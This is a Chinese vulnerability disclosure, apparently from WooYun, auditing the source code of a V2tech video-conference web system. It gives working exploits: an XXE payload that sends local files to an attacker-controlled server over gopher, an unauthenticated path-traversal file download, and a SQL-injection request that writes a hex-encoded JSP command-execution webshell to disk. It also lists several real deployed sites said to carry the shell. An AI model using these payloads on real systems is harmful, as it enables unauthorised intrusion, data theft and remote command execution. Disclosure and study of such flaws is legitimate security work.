### 简要描述: 包括 sql注入 任意文件下载 越权 getshell xml实体注入 感谢@loopx9大牛帮助 ### 详细说明: 因为学习java并不是很长时间,也没有做深入的研究。但是在学习之后,发现可以审计出一些简单的javaweb漏洞,所以想这这里和大家分享一下。 0x01审计之初 首先,我拿到了源码之后,大概看了一下这个系统的架构,发现是通过Struts写的。在具体看代码之前,我们先看一下这个会议系统有什么功能,在代码审计的时候,不能一股脑的先跑过去就看代码,我们要学会通过功能去找问题的缺陷。现在以**.**.**.**:8288/Conf/jsp/main/mainAction.do 这个站为测试案例。访问之后发现,只有列出了会议,登录,下载这些功能。其中会议进入需要密码,然后还有登录。但是无法注册用户,所以在这套系统中,我们应该去那种无需登录就可以利用的漏洞,如果要登录才能利用那就显得太鸡肋了。先通过常规的黑盒测试并没有发现漏洞(目前暴露出来的功能),下一步我们来审计源码。 0x02 源码审计 在审计javaweb的时候,我的第一步是去看web.xml这种配置文件,在这里里面配置了url的路由规则,severlet的配置,以及fitler的设置。其中fitler的作用就是某一后缀或者某一目录下的所以文件做一次拦截,一般就是用来验证那些需要登录的功能。 Conf\WEB-INF\web.xml ``` <filter> <filter-name>requestfilter</filter-name> <filter-class>**.**.**.**mon.RequestFilter</filter-class> </filter> <filter-mapping> <filter-name>requestfilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> ``` 这里设置了fitler,我们定位到**.**.**.**mon.RequestFilter ``` public class RequestFilter extends HttpServlet implements Filter { private FilterConfig...
### 简要描述: 包括 sql注入 任意文件下载 越权 getshell xml实体注入 感谢@loopx9大牛帮助 ### 详细说明: 因为学习java并不是很长时间,也没有做深入的研究。但是在学习之后,发现可以审计出一些简单的javaweb漏洞,所以想这这里和大家分享一下。 0x01审计之初 首先,我拿到了源码之后,大概看了一下这个系统的架构,发现是通过Struts写的。在具体看代码之前,我们先看一下这个会议系统有什么功能,在代码审计的时候,不能一股脑的先跑过去就看代码,我们要学会通过功能去找问题的缺陷。现在以**.**.**.**:8288/Conf/jsp/main/mainAction.do 这个站为测试案例。访问之后发现,只有列出了会议,登录,下载这些功能。其中会议进入需要密码,然后还有登录。但是无法注册用户,所以在这套系统中,我们应该去那种无需登录就可以利用的漏洞,如果要登录才能利用那就显得太鸡肋了。先通过常规的黑盒测试并没有发现漏洞(目前暴露出来的功能),下一步我们来审计源码。 0x02 源码审计 在审计javaweb的时候,我的第一步是去看web.xml这种配置文件,在这里里面配置了url的路由规则,severlet的配置,以及fitler的设置。其中fitler的作用就是某一后缀或者某一目录下的所以文件做一次拦截,一般就是用来验证那些需要登录的功能。 Conf\WEB-INF\web.xml ``` <filter> <filter-name>requestfilter</filter-name> <filter-class>**.**.**.**mon.RequestFilter</filter-class> </filter> <filter-mapping> <filter-name>requestfilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> ``` 这里设置了fitler,我们定位到**.**.**.**mon.RequestFilter ``` public class RequestFilter extends HttpServlet implements Filter { private FilterConfig filterConfig; public void init(FilterConfig filterConfig) throws ServletException { this.filterConfig = filterConfig; } public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) { try { request.setCharacterEncoding("UTF-8"); filterChain.doFilter(request, response); } catch (ServletException sx) { this.filterConfig.getServletContext().log(sx.getMessage()); } catch (IOException iox) { this.filterConfig.getServletContext().log(iox.getMessage()); } } public void destroy() { } } ``` 这儿只是设置了一下页面编码为utf-8,然后继续下面操作,从这儿可以看出这个这个cms并没有通过fitler来做权限控制,这样就很有可能存在未授权的地方。 继续看web.xml里面的内容 ``` <servlet> <servlet-name>action</servlet-name> <servlet-class>org.apache.struts.action.ActionServlet</servlet-class> <init-param> <param-name>config</param-name> <param-value>/WEB-INF/struts-config.xml</param-value> </init-param> <init-param> <param-name>debug</param-name> <param-value>2</param-value> </init-param> <load-on-startup>2</load-on-startup> </servlet> <servlet> <display-name>Apache-Axis Servlet</display-name> <servlet-name>AxisServlet</servlet-name> <servlet-class>org.apache.axis.transport.http.AxisServlet</servlet-class> </servlet> <servlet> <servlet-name>proxoolAdmin</servlet-name> <servlet-class>org.logicalcobwebs.proxool.admin.servlet.AdminServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>action</servlet-name> <url-pattern>*.do</url-pattern> </servlet-mapping> <servlet-mapping> <servlet-name>AxisServlet</servlet-name> <url-pattern>/servlet/AxisServlet</url-pattern> </servlet-mapping> <servlet-mapping> <servlet-name>AxisServlet</servlet-name> <url-pattern>*.jws</url-pattern> </servlet-mapping> <servlet-mapping> <servlet-name>AxisServlet</servlet-name> <url-pattern>/services/*</url-pattern> </servlet-mapping> <servlet-mapping> <servlet-name>proxoolAdmin</servlet-name> <url-pattern>/proxoolAdmin</url-pattern> </servlet-mapping> ``` 可以看出定义了proxoolAdmin servlet/AxisServlet /services/* 这些url路由,并且包含了/WEB-INF/struts-config.xml配置文件,让在这些url路由中发现 ``` **.**.**.**:8288//Conf/servlet/AxisServlet ``` 暴露了一些webservices的接口 [<img src="https://images.seebug.org/upload/201603/2313254916bc5282f54fb62c598e7bcf02caf68e.jpg" alt="QQ20160323-0@2x.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201603/2313254916bc5282f54fb62c598e7bcf02caf68e.jpg) ``` **.**.**.**:8288/Conf/proxoolAdmin ``` 数据库的一些信息 [<img src="https://images.seebug.org/upload/201603/23132709738498021249ac5310ad3e2309d3f2da.jpg" alt="QQ20160323-1@2x.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201603/23132709738498021249ac5310ad3e2309d3f2da.jpg) 先看暴露出的webservices接口存在什么问题 定位代码webapps\Conf\WEB-INF\classes\com\v2tech\cms\webservices\DeptWebService.class ``` public class DeptWebService { public String getWebServiceResult(int tradeCode, String xml, String webservicepass) { String rtn = ""; ReadSystemConfig readSystem = new ReadSystemConfig(); if (!(readSystem.getWebservicespass().equals(webservicepass))) { return "<return code='6000'></return>"; } DepartmentWebServiceBiz deptBiz = new DepartmentWebServiceBiz(); switch (tradeCode) { case 100: rtn = deptBiz.addDepartment(xml); break; case 200: rtn = deptBiz.updateDepartment(xml); break; case 300: rtn = deptBiz.deleteDepartment(xml); } return rtn; } } ``` 其中有个参数为xml,然后通过不同的tradeCode,将xml参数传入其他地方,跟入addDepartment方法 ``` public String addDepartment(String xml) { Document document = null; String deptName = ""; String deptDesc = ""; String thirdDeptid = ""; String thirdParentid = ""; String usernum = ""; String inaddress = ""; String deptorder = ""; String rtn = ""; try { document = loadXml(xml); } catch (Exception e) { return (rtn = "<result errorcode='3000'></result>"); } .........省略........ } ``` 其中xml进入了loadXml函数,这儿可能存在xml实体注入。来测试一下。我这儿使用的是AWVS的webservices工具 ``` **.**.**.**:8288/Conf/services/BroadcastWebservice?wsdl ``` [<img src="https://images.seebug.org/upload/201603/231338346df192dbb281f931e34997a0f99b7abb.jpg" alt="QQ20160323-2@2x.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201603/231338346df192dbb281f931e34997a0f99b7abb.jpg) 直接注入实体发现报错了 [<img src="https://images.seebug.org/upload/201603/23134212d4625da941852af42ae4153024a220bd.jpg" alt="QQ20160323-3@2x.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201603/23134212d4625da941852af42ae4153024a220bd.jpg) 我们将特殊字符进行实体html编码一次,因为在xml中是可以解析html编码后的数据,这里利用gopher协议来获取数据。 先在vps上面新建一个ext.dtd内容如下 ``` <!ENTITY % payload SYSTEM 'file:///c:/windows'> <!ENTITY % int "<!ENTITY % trick SYSTEM 'gopher://ip:port/x%payload;'>"> %int; %trick; ``` 在vps上面监听你设置的端口 然后在请求包处构造 ``` <!DOCTYPE root [ <!ENTITY % xxe SYSTEM "你外部实体地址"> %xxe; ]> ``` [<img src="https://images.seebug.org/upload/201603/231348278d38e56a59193835eecbcfe731553944.jpg" alt="QQ20160323-4@2x.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201603/231348278d38e56a59193835eecbcfe731553944.jpg) 成功获取数据 [<img src="https://images.seebug.org/upload/201603/23134921455ff2f8d80273d7377082dbea051fe6.jpg" alt="QQ20160323-5@2x.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201603/23134921455ff2f8d80273d7377082dbea051fe6.jpg) 其中可以发现这个getWebServiceResult方法在多个地方调用,在被调用的地方都存在xml实体注入 包括 [<img src="https://images.seebug.org/upload/201603/23135255c323e07f27ca3ef414c5babaa006b856.jpg" alt="QQ20160323-6@2x.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201603/23135255c323e07f27ca3ef414c5babaa006b856.jpg) 分析完xml实体注入之后,我们继续看代码,我们来看struts-config.xml中的配置(关于struts-config配置可以看http://**.**.**.**/panjun-Donet/articles/1181811.html),所以在这儿我们着重找scope为request,因为我们这样才好利用漏洞。通阅读代码发现这个cms是通过在每个class类中来判断用户是否登录,代码如下 ``` HttpSession session = servletRequest.getSession(); if (session.getAttribute("userinfobean") == null) { Utils utils = new Utils(); Cookie[] cookies = servletRequest.getCookies(); Locale locale = utils.setLocale(session, servletRequest, cookies); session.setAttribute("org.apache.struts.action.LOCALE", locale); return actionMapping.findForward("sessioninvalid"); } ``` 如果没有登录的话,就通过findForward方法到sessioninvalid,也在struts-config.xml中定义的 ``` <forward name="sessioninvalid" path="/jsp/common/sessioninvalid.jsp" /> ``` [<img src="https://images.seebug.org/upload/201603/23140305f3b7e0c0737490437c8f54d30b605e6e.jpg" alt="QQ20160323-7@2x.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201603/23140305f3b7e0c0737490437c8f54d30b605e6e.jpg) 通过阅读代码发现几处没有存在以上代码的类,这也意味着可以无需登录来利用漏洞 webapps\Conf\WEB-INF\classes\com\v2tech\cms\base\common\struts\DownloadAction.class ``` public class DownloadAction extends Action { public ActionForward execute(ActionMapping actionMapping, ActionForm actionForm, HttpServletRequest request, HttpServletResponse response) { try { String rootfilepath = System.getProperty("catalina.home"); String dirpath = File.separator; rootfilepath = rootfilepath + dirpath + ".." + dirpath + "Server"; String path = new String(rootfilepath + dirpath + new String(request.getParameter("path").getBytes("ISO8859-1"), "UTF-8")); File file = new File(path); String filename = file.getName(); String ext = filename.substring(filename.lastIndexOf(".") + 1).toUpperCase(); InputStream fis = new BufferedInputStream(new FileInputStream(path)); byte[] buffer = new byte[fis.available()]; fis.read(buffer); fis.close(); response.reset(); response.addHeader("Content-Disposition", "attachment;filename=" + new String(filename.getBytes())); response.addHeader("Content-Length", "" + file.length()); OutputStream toClient = new BufferedOutputStream(response.getOutputStream()); if (ext.equals("DOC")) response.setContentType("application/msword"); else { response.setContentType("application/octet-stream"); } toClient.write(buffer); toClient.flush(); toClient.close(); } catch (IOException ex) { ex.printStackTrace(); } return null; } ``` 通过request.getParameter("path")获取path然后 ``` InputStream fis = new BufferedInputStream(new FileInputStream(path)); byte[] buffer = new byte[fis.available()]; fis.read(buffer); fis.close(); ``` 进行文件读取,然后下载。这是一个任意文件下载 ``` **.**.**.**:8288/Conf/jsp/common/downloadAction.do?path=../management/webapps/root/index.jsp ``` \webapps\Conf\WEB-INF\classes\com\v2tech\cms\bulletin\struts\BulletinAction.class ``` public class BulletinAction extends BaseAction { public ActionForward systemBulletin(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) { UserBean userBean = (UserBean)request.getSession().getAttribute("userinfobean"); if (request.getSession().getAttribute("userinfobean") == null) { return mapping.findForward("sessioninvalid"); } saveToken(request); PageBeans pb = null; String action = request.getParameter("action"); String currentPage = request.getParameter("currentPage"); if ((currentPage == null) || (currentPage.equals("null"))) { currentPage = "1"; } int pageSize = 0; BulletinManage bulletinmagege = new BulletinManage(); try { pageSize = bulletinmagege.getRowNumber(); } catch (Exception e) { e.printStackTrace(); } pb = new PageBeans(pageSize, 30); String startend = pb.differentiatePlan(action, Integer.parseInt(currentPage)); String[] pages = startend.split(":"); String startPage = pages[0]; String endPage = pages[1]; List bulletin = bulletinmagege.getPages(Integer.parseInt(startPage), Integer.parseInt(endPage)); currentPage = pb.getCurrentPage(); int number = (Integer.parseInt(currentPage) - 1) * 30; request.setAttribute("result", bulletin); request.setAttribute("page", pb); request.setAttribute("currentPage", currentPage); request.setAttribute("number", String.valueOf(number)); return mapping.findForward("allsysbulletin"); } public ActionForward details(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) { String sysId = request.getParameter("sysId"); BulletinManage bulletinBiz = new BulletinManage(); SystembulletinTable sysTable = bulletinBiz.getSysBulletinTable(sysId); if (sysTable != null) { sysTable.setContent(Utils.htmlConversion(sysTable.getContent())); sysTable.setTheme(Utils.htmlConversion(sysTable.getTheme())); } request.setAttribute("details", sysTable); return mapping.findForward("details"); } public ActionForward delete(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws SQLException { BulletinManage bulletinBiz = new BulletinManage(); String sysId = request.getParameter("sysId"); bulletinBiz.deleteDate(sysId); String currentPage = request.getParameter("page"); String forword = "/jsp/systembulletin/bulletinAction.do?operator=systemBulletin¤tPage=" + currentPage; return new ActionForward(forword); } public ActionForward modify(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) { BulletinManage bulletinBiz = new BulletinManage(); String sysId = request.getParameter("sysId"); String page = request.getParameter("page"); SystembulletinTable sysTable = bulletinBiz.getSysBulletinTable(sysId); request.setAttribute("modify", sysTable); request.setAttribute("page", page); return mapping.findForward("modify"); } public ActionForward state(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) { BulletinManage bulletinBiz = new BulletinManage(); BulletinActionForm bulletinActionForm = (BulletinActionForm)form; String sysId = bulletinActionForm.getSysId(); String indexId = request.getParameter("indexId"); request.setAttribute("indexId", indexId); String state = bulletinActionForm.getState(); bulletinActionForm.setNotemeans("state"); SystembulletinTable sysTable = new SystembulletinTable(); try { sysTable.setIdCondition(sysId); sysTable.selectRecord(); sysTable.setState(state); bulletinBiz.saveData(sysTable); } catch (SQLException e) { e.printStackTrace(); } String currentPage = request.getParameter("page"); String forword = "/jsp/systembulletin/bulletinAction.do?operator=systemBulletin¤tPage=" + currentPage; return new ActionForward(forword); } public ActionForward operation(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) { BulletinActionForm bulletinActionForm = (BulletinActionForm)form; SystembulletinTable sysBulletinTable = new SystembulletinTable(); BulletinManage bulletinBiz = new BulletinManage(); String sysId = bulletinActionForm.getSysId(); String theme = bulletinActionForm.getTheme(); theme = theme.trim(); if (theme.length() > 128) { theme = theme.substring(0, 127); } String indexId = request.getParameter("indexId"); request.setAttribute("indexId", indexId); String content = ""; content = bulletinActionForm.getContent(); if (content.length() > 512) { content = content.substring(0, 512); } String operation = request.getParameter("operation"); if (operation.equalsIgnoreCase("return")) { return mapping.findForward("return"); } if (sysId != null) { sysBulletinTable.setId(sysId); } sysBulletinTable.setTheme(theme); sysBulletinTable.setContent(content); if (!(isTokenValid(request))) { saveToken(request); return mapping.findForward("bulletin"); } try { String result = bulletinBiz.saveData(sysBulletinTable); if (result.equals("<result error='5000'></result>")) return mapping.findForward("bulletin"); } catch (Exception e) { e.printStackTrace(); } if (BulletinManage.iForward != 0) { BulletinManage.iForward = 0; return mapping.findForward("bulletin"); } String currentPage = request.getParameter("page"); String forword = "/jsp/systembulletin/bulletinAction.do?operator=systemBulletin¤tPage=" + currentPage; return new ActionForward(forword); } public ActionForward showIndexList(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) { BulletinManage bulletinManage = new BulletinManage(); Vector vector = new Vector(); try { vector = bulletinManage.showBulletin(); } catch (Exception e) { log.error("未取到公告信息,请检查数据库配置是否正确!"); } request.setAttribute("vector", vector); return mapping.findForward("sysBulletin"); } public ActionForward ajax(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) { String sysId = request.getParameter("sysId"); BulletinManage bulletinBiz = new BulletinManage(); SystembulletinTable sysTable = bulletinBiz.getSysBulletinTable(sysId); PrintWriter out = null; try { out = response.getWriter(); if (sysTable == null) out.print(0); else out.print(1); } catch (IOException e) { e.printStackTrace(); } finally { if (out != null) { out.close(); out = null; } } return null; } public ActionForward getNews(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) { BufferedReader br = null; PrintWriter out = null; try { request.setCharacterEncoding("UTF-8"); response.setContentType("Content-Type:text/html;charset=UTF-8"); response.setCharacterEncoding("UTF-8"); response.setHeader("Charset", "UTF-8"); out = response.getWriter(); String path = request.getSession().getServletContext().getRealPath("../../../Server/ml.config"); String managerUrl = null; String beginStr = "<managerurl>"; String endStr = "</managerurl>"; managerUrl = new Utils().getMasterIp(path, beginStr, endStr); String contextpath = request.getContextPath(); URL url = new URL(managerUrl + contextpath + "/jsp/systembulletin/bulletinAction.do?operator=getMasterNews"); InputStream in = url.openStream(); br = new BufferedReader(new InputStreamReader(in, "UTF-8")); String str = br.readLine(); out.write(str); } catch (Exception e) { out.write("0"); log.error("[getNews]: throws Exception!", e); } finally { try { if (br != null) { br.close(); br = null; } } catch (IOException e) { br = null; } finally { if (out != null) { out.close(); out = null; } } } return null; } public ActionForward getMasterNews(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) { PrintWriter out = null; try { request.setCharacterEncoding("UTF-8"); response.setContentType("Content-Type:text/html;charset=UTF-8"); response.setCharacterEncoding("UTF-8"); response.setHeader("Charset", "UTF-8"); out = response.getWriter(); int in = new BulletinManage().getMasterNews(); out.write(in + ""); } catch (Exception e) { out.write("0"); log.error("[getMasterNews]: throws Exception!", e); } finally { if (out != null) { out.close(); out = null; } } return null; } ``` 在这个类中只有systemBulletin方法验证了是否登录,其他的方法都没验证。然后在这个类中又存在多个sql注入。由于这套系统默认是tomcat+mysql这样的架构,其中web路径是不变化的,而且使用mysql的root用户,所以直接可以通过sql注入来getshell。其中details方法,已经在http://**.**.**.**/bugs/wooyun-2010-0143276提交过了 下面我以modify方法为例 ``` public ActionForward modify(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) { BulletinManage bulletinBiz = new BulletinManage(); String sysId = request.getParameter("sysId"); String page = request.getParameter("page"); SystembulletinTable sysTable = bulletinBiz.getSysBulletinTable(sysId); request.setAttribute("modify", sysTable); request.setAttribute("page", page); return mapping.findForward("modify"); } ``` 通过 request.getParameter获取sysId然后进入bulletinBiz.getSysBulletinTable ``` public SystembulletinTable getSysBulletinTable(String sysId) { SystembulletinTable sysTable = new SystembulletinTable(); try { sysTable.setIdCondition(sysId); if (!(sysTable.selectRecord())) sysTable = null; } catch (SQLException e) { e.printStackTrace(); } return sysTable; } ``` 然后进入了sql之中。 ``` **.**.**.**:8288/Conf/jsp/systembulletin/bulletinAction.do?operator=modify&sysId=1 order by 5 ``` 返回正常 ``` **.**.**.**:8288/Conf/jsp/systembulletin/bulletinAction.do?operator=modify&sysId=1 order by 6 ``` 返回为空,确定为五个字段。然后就可以直接写shell了。 构造 ``` **.**.**.**:8288/Conf/jsp/systembulletin/bulletinAction.do?operator=modify&sysId=1 UNION SELECT 1,2,3,4,0x3C2540207061676520636F6E74656E74547970653D22746578742F68746D6C3B20636861727365743D47424B2220253E0D0A3C2540207061676520696D706F72743D226A6176612E696F2E2A2220253E203C2520537472696E6720636D64203D20726571756573742E676574506172616D657465722822636D6422293B20537472696E67206F7574707574203D2022223B20696628636D6420213D206E756C6C29207B20537472696E672073203D206E756C6C3B20747279207B2050726F636573732070203D2052756E74696D652E67657452756E74696D6528292E6578656328636D64293B204275666665726564526561646572207349203D206E6577204275666665726564526561646572286E657720496E70757453747265616D52656164657228702E676574496E70757453747265616D282929293B207768696C65282873203D2073492E726561644C696E6528292920213D206E756C6C29207B206F7574707574202B3D2073202B225C725C6E223B207D207D20636174636828494F457863657074696F6E206529207B20652E7072696E74537461636B547261636528293B207D207D200D0A6F75742E7072696E746C6E286F7574707574293B253E into dumpfile '../../management/webapps/root/test.jsp'%23 ``` 成功生成**.**.**.**:8288/test.jsp?cmd=whoami [<img src="https://images.seebug.org/upload/201603/2314414666524025a53ad0d96f0d76a005b1be3a.jpg" alt="QQ20160323-8@2x.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201603/2314414666524025a53ad0d96f0d76a005b1be3a.jpg) webapps\Conf\WEB-INF\classes\com\v2tech\cms\user\struts\DeleteDeptAction.class package com.v2tech.cms.user.struts; ``` public class DeleteDeptAction extends Action { public ActionForward execute(ActionMapping actionMapping, ActionForm actionForm, HttpServletRequest servletRequest, HttpServletResponse servletResponse) { int deptid = Integer.parseInt(servletRequest.getParameter("deptid")); DepartmentDao deptdao = new DepartmentDao(); deptdao.deleteDepartmentByDeptId(deptid); return actionMapping.findForward("deldeptresult"); } } ``` 可以删除任意部门,且无需登录 ### 漏洞证明: 案例 [<img src="https://images.seebug.org/upload/201603/231446103660f64beefe06e5aea79be76770d61a.jpg" alt="QQ20160323-9@2x.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201603/231446103660f64beefe06e5aea79be76770d61a.jpg) 采集测试了一些 ``` http://**.**.**.**:18080/test.jsp?cmd=whoami **.**.**.**/test.jsp?cmd=whoami http://**.**.**.**/test.jsp?cmd=whoami http://**.**.**.**:443//test.jsp?cmd=whoami http://**.**.**.**/test.jsp?cmd=whoami **.**.**.**:8288/test.jsp?cmd=whoami http://**.**.**.**/test.jsp?cmd=whoami http://**.**.**.**/test.jsp?cmd=whoami http://**.**.**.**/test.jsp?cmd=whoami ``` xxe测试 [<img src="https://images.seebug.org/upload/201603/23145140619adb176ef5e6f78e3fc61799113e11.jpg" alt="QQ20160323-10@2x.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201603/23145140619adb176ef5e6f78e3fc61799113e11.jpg)